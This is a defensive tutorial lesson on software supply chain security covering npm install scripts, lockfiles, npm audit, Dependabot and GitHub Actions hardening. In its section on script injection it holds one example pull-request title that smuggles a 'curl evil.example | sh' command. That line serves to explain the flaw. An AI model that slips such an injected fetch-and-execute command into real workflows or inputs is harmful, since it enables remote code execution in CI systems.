Dependencies and the Supply Chain: npm, Lockfiles and GitHub Actions

Lesson 5 was about secrets, encryption and personal data. This lesson is about a different way to lose them: through the code you pull in. A small web app has maybe 2,000 lines of your own code and thousands of lines of other people's code. This lesson shows how a bad package gets in, how to see what an install can do, how to read npm audit, how to set up Dependabot and secret scanning, and how to make a GitHub Actions workflow safer. Lesson 7 then moves to the server side: SSRF, file uploads, rate limits and CORS.

If you want the "should we use this package at all?" side (health, size, licence, exit plan), read Team Lead Lesson 1. For the lead's view of security work, read Team Lead Lesson 14. For CI/CD that deploys, see DevOps Lesson 14, and for branch protection and a first workflow file see Git and GitHub Lesson 5. The map of all the risks is in Lesson 0.

Words used in this lesson

• Supply chain means everything that goes into your software that you did not write: packages, build tools, CI actions, base images, and the accounts and servers that publish them.
• Dependency is a package your project needs. A direct dependency is one you named. A transitive dependency is one that your dependency needs.
• Typosquatting is publishing a package with a name that looks like a popular one (lodahs instead of lodash) and waiting for someone to mistype it.
• Account takeover is when an attacker gets into a maintainer's npm or GitHub account and publishes a bad version under the real name.
• Install script (lifecycle script) is a command in package.json, like postinstall, that npm runs when the package is installed.
• Lock file (package-lock.json) records the exact version, download address and checksum of every package that was installed.
• npm ci installs exactly what the lock file says, and fails if the lock file and package.json disagree.
• Integrity hash is a checksum in the lock file. If the downloaded file does not match it, npm refuses it.
• CVE is a public ID for a known security bug (like CVE-2025-30066). Advisory is the write-up for it; GitHub advisories have IDs like GHSA-xxxx.
• npm audit compares your installed versions with a database of known advisories.
• Dependabot is a GitHub bot that raises alerts and opens pull requests to update dependencies.
• Secret scanning looks for keys and tokens in your repository. Push protection blocks a push that contains one.
• Pinning means fixing to an exact version (or, for an action, an exact commit hash) so it cannot change under you.
• Commit SHA is the long hash that names one exact commit. A tag like v4 is a movable label that can be pointed somewhere else.
• GITHUB_TOKEN is a short-lived token GitHub gives each workflow run. permissions: in the workflow says what it may do.
• Provenance is a signed record of where and how an artifact was built. SLSA ("salsa") is a framework that describes levels of build integrity.
• SBOM (software bill of materials) is a list of all the components inside a build.

Where this sits in the OWASP Top 10

In the OWASP Top 10:2025 the supply chain has its own entry: A03:2025 Software Supply Chain Failures. In 2021 the same idea was called "Vulnerable and Outdated Components" (A06:2021). OWASP widened it. It now covers not only old packages with known bugs, but also bad changes inside the whole chain of dependencies, build systems and the places where software is distributed. The OWASP intro says this category has few findings in the test data (it is hard to test for), but the highest average exploit and impact scores of the CVEs linked to it, and it was ranked top concern in the community survey. A related entry, A08:2025 Software or Data Integrity Failures, covers trusting code and data without checking they are untouched, for example an update that is not verified.

Two different problems hide under one name, and you need different tools for each:

npm audit only knows the first kind. A brand new malicious version is not in any database yet.

How much code is that, really?

You asked for one package. You get a tree. I ran this in an empty folder:

npm init -ynpm install expressnode -e 'console.log(Object.keys(require("./package-lock.json").packages).length - 1)'

added 65 packages, and audited 66 packages in ...found 0 vulnerabilities65

(npm install express gave express 5.3.0.) One line in package.json, 65 packages in the lock file, each from a different author. You trust all of them, and so does everyone who installs your project. This is the attack surface from Lesson 0: every package is one more door.

How a bad package gets in

There are four common ways. None of them needs you to do anything silly.

1. Typosquatting. Someone publishes expresss or reqeust. A tired developer types the wrong name and installs the fake. Always read the name in package.json and in the install command. The Node.js security guide lists this threat and tells you to check your package.json for misspelt names.
2. Install scripts. A package can run a command when it is installed. We will run one in a moment.
3. Account takeover. The real package gets a bad new version because someone broke into the maintainer's account. Phishing is the usual way in. Two real examples are below.
4. A new owner with bad intent. A tired maintainer hands the project to a helpful stranger, and the stranger adds a bad dependency. That is what happened with event-stream in 2018.

A fifth way, dependency confusion, is when your company has a private package named acme-utils and an attacker publishes a public acme-utils with a higher version number, hoping your tool picks the public one. The fix is to use scoped names (@acme/utils) and to set the registry for your scope in .npmrc.

Real incidents (short, from the sources named in the note above)

I am reporting these as I found them in more than one source. I did not read the original advisories for every detail, so use the names and dates to look them up, not as a final record.

Install scripts: code that runs just because you installed

npm lets a package declare scripts like preinstall, install and postinstall. npm runs them right after the files are downloaded, with your user's rights. You have not imported the package or called any function yet.

To show it safely, I made a package called friendly-logger. Its script only prints three lines. Here is the whole package.json and script:

{  "name": "friendly-logger",  "version": "1.0.0",  "main": "index.js",  "scripts": { "postinstall": "node postinstall.js" }}

// postinstall.jsconst os = require("os");console.log("[friendly-logger postinstall] I am running on your machine.");console.log("[friendly-logger postinstall] user:", os.userInfo().username, "| cwd:", process.cwd());console.log("[friendly-logger postinstall] A real attacker could read files or send secrets here.");

I packed it with npm pack into a .tgz file and installed it into a new empty project. (First I tried installing from the folder path. That makes a symlink, and npm does not run install scripts for a linked local folder. A .tgz, or a package from the registry, is different.) Three runs:

# A: a normal installnpm install ../friendly-logger/friendly-logger-1.0.0.tgz

added 1 package, and audited 2 packages in 441msfound 0 vulnerabilities

Nothing visible. npm hides the output of install scripts by default. The script did run, but you would never know. To see it I added --foreground-scripts:

# B: show the script outputnpm install ../friendly-logger/friendly-logger-1.0.0.tgz --foreground-scripts

> friendly-logger@1.0.0 postinstall> node postinstall.js[friendly-logger postinstall] I am running on your machine.[friendly-logger postinstall] user: root | cwd: /tmp/sec-lab-6/app/node_modules/friendly-logger[friendly-logger postinstall] A real attacker could read files or send secrets here.

Now the same install with --ignore-scripts:

# C: do not run any install scriptsnpm install ../friendly-logger/friendly-logger-1.0.0.tgz --ignore-scripts --foreground-scripts

added 1 package, and audited 2 packages in 448msfound 0 vulnerabilities

No script output, because no script ran. That is the whole point: a real bad package would print nothing, and would send your ~/.npmrc or your cloud keys somewhere. The Node.js security guide and the OWASP NPM Security cheat sheet both recommend --ignore-scripts, or setting ignore-scripts=true in .npmrc, so it is the default for the project:

# .npmrc (in the project root)ignore-scripts=true

Lock files and npm ci

In package.json you often write ranges like "ms": "^2.1.3". The ^ means "2.1.3 or any newer 2.x version". Two people installing on two different days can get two different versions. The lock file fixes this. It records the exact version, where it came from, and a checksum. This is what the ms entry looks like in the lock file I made:

{ "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "license": "MIT"}

If the downloaded file does not match integrity, npm refuses it. That protects you from a file that changed on the way or on the server after the lock file was made. It does not protect you if the bad version was already there when you first locked.

Now the difference between npm install and npm ci. I changed package.json by hand to "ms": "2.0.0" and did not update the lock file:

npm ci

npm error code EUSAGEnpm errornpm error `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing.npm errornpm error Invalid: lock file's ms@2.1.3 does not satisfy ms@2.0.0

It stopped with exit code 1. Then I ran npm install in the same folder:

changed 1 package, and audited 2 packages in 725msms now: 2.0.0

npm install quietly followed package.json and changed what is installed (and rewrote the lock file). The npm docs say npm ci needs an existing package-lock.json, exits with an error instead of updating it, and never writes to package.json or the lock file. The rules to take away:

• Commit package-lock.json. For apps, always.
• Use npm ci in CI and in Docker builds. Use npm install only on your machine when you mean to change dependencies.
• Read lock-file changes in a pull request. A dependency update that changes 3,000 lines is normal. A "small fix" PR that changes the resolved address of a package to a strange host is not. The Node.js guide calls a tampered lock file "lockfile poisoning". A reviewer who skips lock files is trusting the author fully.

Reading npm audit

I installed an old version of lodash on purpose:

npm install lodash@4.17.4 --save-exactnpm audit

This is the real output:

# npm audit reportlodash  <=4.17.23Severity: criticalPrototype Pollution in lodash - https://github.com/advisories/GHSA-fvqr-27wr-82fmCommand Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhmPrototype Pollution in lodash - https://github.com/advisories/GHSA-4xc9-xhrj-v574Prototype Pollution in lodash - https://github.com/advisories/GHSA-jf85-cpcp-j695Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gwRegular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-29mw-wpgm-hmr9Regular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-x5rq-j2xg-h7qmlodash vulnerable to Code Injection via `_.template` imports key names - https://github.com/advisories/GHSA-r5fr-rjxr-66jclodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit` - https://github.com/advisories/GHSA-f23m-r3pf-42rhLodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions - https://github.com/advisories/GHSA-xxjr-mmjv-4gpgfix available via `npm audit fix --force`Will install lodash@4.18.1, which is outside the stated dependency rangenode_modules/lodash1 critical severity vulnerabilityTo address all issues, run:  npm audit fix --force

Read it line by line:

The exit code matters in CI. I checked it:

audit exit code: 1critical-level exit: 1{"info":0,"low":0,"moderate":0,"high":0,"critical":1,"total":1}

The npm docs say npm audit exits with 0 when nothing is found and with a non-zero code when anything is found, and you can use --audit-level=<level> to say which level should fail the run. (My result was critical, so both commands failed.) The last line is from npm audit --json, handy for scripts.

Good habits:

• Do not run npm audit fix --force blindly. The word "force" means it will accept breaking changes. First run plain npm audit fix (it stays inside your ranges). For the rest, read the advisory, check the changelog, update by hand, and run your tests (Testing Lesson 3 shows API tests that catch breakage).
• Not every finding hurts you. A ReDoS bug in a function you never call is low risk for you. But do not decide that in a hurry; write down why, in the PR.
• Dev dependencies count too. A bad test tool runs on your laptop and in CI, where your secrets are. npm audit --omit=dev shows production only, but do not treat dev findings as "who cares".
• A clean audit does not mean safe. It only says there is no known advisory for this version, today.
• Delay brand new versions if you can. The Node.js guide mentions an npm setting called min-release-age (npm v11.10.0 and later) that skips versions published in the last few days, so a quickly removed bad version never reaches you. I ran npm 10.9.4, so I could not try this setting.

Dependabot: updates in small steps

Old versions are risky, and a giant "update everything" once a year is also risky. The middle way is small, regular updates. Dependabot can do this on GitHub. It has three jobs:

This is a real dependabot.yml for a Node project that also uses GitHub Actions. I checked the option names against the GitHub options reference and parsed the file as YAML. I did not run it on GitHub.

version: 2updates:  - package-ecosystem: "npm"    directory: "/"    schedule:      interval: "weekly"    open-pull-requests-limit: 5    cooldown:      default-days: 3    groups:      dev-dependencies:        dependency-type: "development"  - package-ecosystem: "github-actions"    directory: "/"    schedule:      interval: "weekly"

Dependabot PRs still need review. A PR from a bot is a PR that changes the code you run. Let your tests and your reviewer decide, and merge them in small batches.

Secret scanning and push protection

One of the easiest ways to lose a secret is to push it by accident (Lesson 5). GitHub has two features for this. As I read GitHub's help text:

• Secret scanning looks through your repository (and its history) for strings that look like known tokens and keys, and raises an alert.
• Push protection checks at push time. If the push contains a supported secret, the push is blocked. The person can remove the secret, or choose to bypass with a reason. Organisations on higher plans can control who may bypass.

I could not try either (they live on GitHub). What you can do locally is run a scanner such as gitleaks before the push. Lesson 8 shows a real gitleaks run.

Securing your CI: GitHub Actions

A CI job has your secrets, can write to your repository and can publish. That makes it a favourite target. The tj-actions incident above shows the point: a third-party action ran inside many pipelines and read their secrets. Four habits cover most of the risk. They are all in the GitHub "Secure use reference" and the OWASP CI/CD Security cheat sheet.

1. Pin actions to a full commit SHA

uses: actions/checkout@v7 means "whatever commit the tag v7 points to today". A tag can be moved. A full commit SHA cannot. The GitHub docs say pinning to a full-length commit SHA is currently the only way to use an action as an immutable release, and that it helps if an attacker adds a backdoor to the action's repository. Here is how I found the SHA for a tag. These are the real answers from git ls-remote on the day I ran it:

git ls-remote https://github.com/actions/checkout.git 'refs/tags/v7.0.1*'git ls-remote https://github.com/actions/setup-node.git 'refs/tags/v7.1.0*'

3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7.0.1949feb2413d6458794dcd2491c4babbbce0c15c1	refs/tags/v7.1.0

You write the hash in the workflow and the human-readable version in a comment:

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

One small trap with git ls-remote: if a tag is an annotated tag, you see two lines, and the one ending in ^{} is the commit you want. For github/codeql-action v4.38.3 I got cee97f86... refs/tags/v4.38.3 (the tag object) and 24c54180... refs/tags/v4.38.3^{} (the commit). Use the ^{} one. Also, only pin hashes you take from the official repository, not from a random blog post (including this one; check it yourself).

2. Give the token the least permission

Every run gets a GITHUB_TOKEN. Say what it may do. The default can be wider than you want, so set it at the top of the file, then widen only where a job needs it:

permissions:  contents: read

A job that only runs tests needs nothing more. A job that comments on a PR can get pull-requests: write for that job only. If an attacker runs code in your test job, a read-only token limits the damage.

3. Do not paste untrusted text into a script

The text of a pull request title, a branch name or an issue is written by someone else. If you put it straight into a run: line with ${{ ... }}, GitHub puts the text into the script before the shell runs, so a title like "; curl evil.example | sh; " becomes part of the command. This is script injection. The safe pattern is to pass the value through an environment variable:

# BAD: the title becomes part of the script- run: echo "Title is ${{ github.event.pull_request.title }}"# BETTER: the title is only data, in a variable- env:    TITLE: ${{ github.event.pull_request.title }}  run: echo "Title is $TITLE"

This is the first fix in GitHub's own hardening guide. It is injection from Lesson 1 again: data got mixed into code.

4. Be careful with pull_request_target

A normal pull_request run from a fork has no access to your secrets and gets a read-only token, for good reason. The pull_request_target trigger runs in the context of your base branch and can see secrets. The GitHub docs warn against using it (and workflow_run) together with untrusted pull request code, and say workflows with these triggers must not explicitly check out untrusted code. If you never need it, never use it.

Also remember (from the same page): anyone with write access to the repository can read all secrets in it, so give secrets only to the environments that need them, and prefer short-lived credentials (for example OpenID Connect to your cloud) to long-lived keys.

A safe starting workflow

Put it together. This workflow has read-only permissions, pinned actions, no stored credentials, a clean install and no install scripts. I parsed it as YAML; I could not run it here.

name: CIon:  pull_request:    branches: [main]permissions:  contents: readjobs:  test:    runs-on: ubuntu-latest    timeout-minutes: 10    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0        with:          node-version: 22          cache: npm      - run: npm ci --ignore-scripts      - run: npm test

persist-credentials: false stops checkout from leaving the token in the local git config for later steps. If your tests need an install script (a native build, say), drop --ignore-scripts for that job and think about why.

Provenance and SLSA (the short version)

A lock file says "this is the file I got before". It does not say "this file was built from that source code". Provenance is a signed statement about where and how something was built. SLSA (Supply-chain Levels for Software Artifacts) is a framework that gives teams a common language for how much to trust a build. OWASP's supply chain cheat sheet points to SLSA for provenance and to SBOM formats (CycloneDX, SPDX) for listing what is inside a build. npm can check registry signatures and provenance with npm audit signatures, but my run printed Failed to download, so I cannot show output. For a small team, this is a "later" item. Pin, scan and lock down CI first.

A checklist before you add a dependency

Print this and keep it near the pull request template. The longer version, with commands, is in Team Lead Lesson 1.

1. Do I need it? Can I write 20 lines or use the standard library (Node has fetch, crypto, node:test)?
2. Is the name right? Spell-check it against the project's own README. Look for typosquats. Check the owner.
3. Is it alive? Last release, open security issues, number of maintainers, a SECURITY.md.
4. How big is its tree? npm install --dry-run and look at how many packages come with it. Prefer a small tree.
5. Does it run scripts? Look for preinstall, install, postinstall in its package.json: npm view <name> scripts.
6. What will it touch? A date formatter has no reason to open network connections. Skim the code if it is small.
7. What do audit and licence say? npm audit after installing; check the licence fits your project.
8. How do I leave? If it is abandoned next year, what is the plan?
9. Lock it. Commit the lock file. Say in the PR why you added it.

Try it

1. Make a folder with a package.json that has "scripts": { "postinstall": "node -e \"console.log('hi from postinstall')\"" }. Run npm pack, then install the .tgz into another empty project with and without --ignore-scripts and --foreground-scripts. What do you see in each case?
2. In a new project run npm install lodash@4.17.4 --save-exact and npm audit. Echo $?. Then run npm audit --audit-level=critical and npm audit --omit=dev and compare.
3. Install any small package, then hand-edit its version in package.json to a different one. Compare npm ci and npm install.
4. Run npm view express scripts and npm view express dependencies. Does it have install scripts? How many direct dependencies?
5. Look up the commit hash of a tag for any action you use with git ls-remote. Write it in a workflow with a comment.
6. Write a dependabot.yml for your own project with a weekly schedule and a limit of 3 open PRs.
7. Find a uses: line in a workflow of yours that has @main or a tag. Which one is the most risky and why?

Answers

1. Without --ignore-scripts, the script runs (you only see its output with --foreground-scripts). With --ignore-scripts, it does not run.
2. Both audit commands exit with 1 (the finding is critical). With --omit=dev the result is the same here because lodash is a normal dependency.
3. npm ci fails with "package.json and package-lock.json ... are not in sync". npm install changes the installed version and rewrites the lock file.
4. It depends on the version. Many packages have no install script. The point is to look, not to trust.
5. For an annotated tag, use the hash on the ^{} line.
6. The file from this lesson, with open-pull-requests-limit: 3.
7. @main is the riskiest: it changes with every commit to that branch. A tag is better, a full commit hash is best.

Interview questions

Key takeaways

• Every dependency is code you did not write, running with your rights. One npm install express brought 65 packages.
• Bad code arrives by typosquatting, install scripts, account takeover, handed-over projects and dependency confusion.
• Install scripts run silently. --ignore-scripts (or ignore-scripts=true) stops them at install time, but not the code that runs when you import the package.
• Commit package-lock.json, use npm ci in CI, and read lock-file diffs.
• npm audit finds only known problems. Read severity, range and the advisory, and do not run --force without thinking. Exit code 1 fails a CI job.
• Use Dependabot (alerts, security updates, version updates with a schedule, a limit, a cooldown and groups) for small regular updates.
• Turn on secret scanning and push protection. If a secret leaks, rotate first.
• In GitHub Actions: pin to a commit SHA, set minimal permissions, never put untrusted text in a run: line, and avoid pull_request_target with untrusted code.
• A short checklist before adding a package catches most mistakes.

What's next

Lesson 7 moves from your dependencies to your own server and API: SSRF, unsafe file uploads, missing rate limits, verbose errors, CORS mistakes and the OWASP API Top 10. Before that, do two things in a real repository today: add the dependabot.yml from this lesson, and check that your CI uses npm ci and a permissions: block. For the "should we add this package?" conversation with a team, read Team Lead Lesson 1.